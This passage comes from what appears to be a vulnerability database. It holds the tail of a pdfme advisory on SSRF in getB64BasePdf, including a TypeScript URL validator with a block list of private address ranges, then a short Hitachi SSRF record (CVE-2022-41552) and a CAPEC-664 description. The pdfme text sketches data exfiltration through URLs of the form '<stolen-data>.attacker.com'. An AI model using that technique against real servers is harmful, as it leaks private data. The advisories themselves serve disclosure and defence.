exfiltration by crafting URLs like `http://\u003cstolen-data\u003e.attacker.com` to leak information even when responses are not readable.\n\n## Recommended Fix\n\nAdd URL validation in `getB64BasePdf` before calling `fetch()`. At minimum, restrict to HTTPS and block private/reserved IP ranges:\n\n```typescript\n// packages/common/src/helper.ts\n\nconst BLOCKED_HOSTNAME_PATTERNS = [\n /^localhost$/i,\n /^127\\./,\n /^10\\./,\n /^172\\.(1[6-9]|2\\d|3[01])\\./,\n /^192\\.168\\./,\n /^169\\.254\\./,\n /^0\\./,\n /^\\[::1\\]/,\n /^\\[fc/i,\n /^\\[fd/i,\n /^\\[fe80:/i,\n];\n\nfunction validatePdfUrl(urlString: string): void {\n let parsed: URL;\n try {\n parsed = new URL(urlString);\n } catch {\n throw new Error(`Invalid basePdf URL: ${urlString}`);\n }\n\n if (parsed.protocol !== \u0027https:\u0027 \u0026\u0026 parsed.protocol !== \u0027http:\u0027) {\n throw new Error(`basePdf URL must use http or https protocol, got: ${parsed.protocol}`);\n }\n\n const hostname = parsed.hostname;\n for (const pattern of BLOCKED_HOSTNAME_PATTERNS) {\n if (pattern.test(hostname)) {\n throw new Error(`basePdf URL must not point to private/reserved addresses`);\n }\n }\n}\n\nexport const getB64BasePdf = async (\n customPdf: ArrayBuffer | Uint8Array | string,\n): Promise\u003cstring\u003e =\u003e {\n if (\n typeof customPdf === \u0027string\u0027 \u0026\u0026\n !customPdf.startsWith(\u0027data:application/pdf;\u0027) \u0026\u0026\n typeof window !== \u0027undefined\u0027\n ) {\n validatePdfUrl(customPdf); // \u003c-- Add validation before fetch\n const response = await fetch(customPdf);\n const blob = await response.blob();\n return blob2Base64Pdf(blob);\n }\n // ...\n};\n```\n\nAdditionally, consider documenting the security implications of passing user-controlled data as `basePdf` and providing an option for applications to supply their own URL validator or allowlist.",
"id": "GHSA-pgx6-7jcq-2qff",
"modified": "2026-03-20T20:45:17Z",
"published": "2026-03-20T20:45:17Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/pdfme/pdfme/security/advisories/GHSA-pgx6-7jcq-2qff"
},
{
"type": "PACKAGE",
"url": "https://github.com/pdfme/pdfme"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "PDFME has SSRF via Unvalidated URL Fetch in `getB64BasePdf` When `basePdf` Is Attacker-Controlled"
}
GHSA-PH2X-JPWC-WRXQ
Vulnerability from github – Published: 2022-11-01 12:00 – Updated: 2022-11-02 12:00Server-Side Request Forgery (SSRF) vulnerability in Hitachi Infrastructure Analytics Advisor on Linux (Data Center Analytics, Analytics probe components), Hitachi Ops Center Analyzer on Linux (Hitachi Ops Center Analyzer detail view, Hitachi Ops Center Analyzer probe components) allows Server Side Request Forgery.
{
"affected": [],
"aliases": [
"CVE-2022-41552"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-11-01T03:15:00Z",
"severity": "CRITICAL"
},
"details": "Server-Side Request Forgery (SSRF) vulnerability in Hitachi Infrastructure Analytics Advisor on Linux (Data Center Analytics, Analytics probe components), Hitachi Ops Center Analyzer on Linux (Hitachi Ops Center Analyzer detail view, Hitachi Ops Center Analyzer probe components) allows Server Side Request Forgery.",
"id": "GHSA-ph2x-jpwc-wrxq",
"modified": "2022-11-02T12:00:35Z",
"published": "2022-11-01T12:00:30Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-41552"
},
{
"type": "WEB",
"url": "https://www.hitachi.co.jp/Prod/comp/soft1/global/security/info/vuls/hitachi-sec-2022-134/index.html"
},
{
"type": "WEB",
"url": "https://www.hitachi.com/products/it/software/security/info/vuls/hitachi-sec-2022-134/index.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
No mitigation information available for this CWE.
CAPEC-664: Server Side Request Forgery
An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.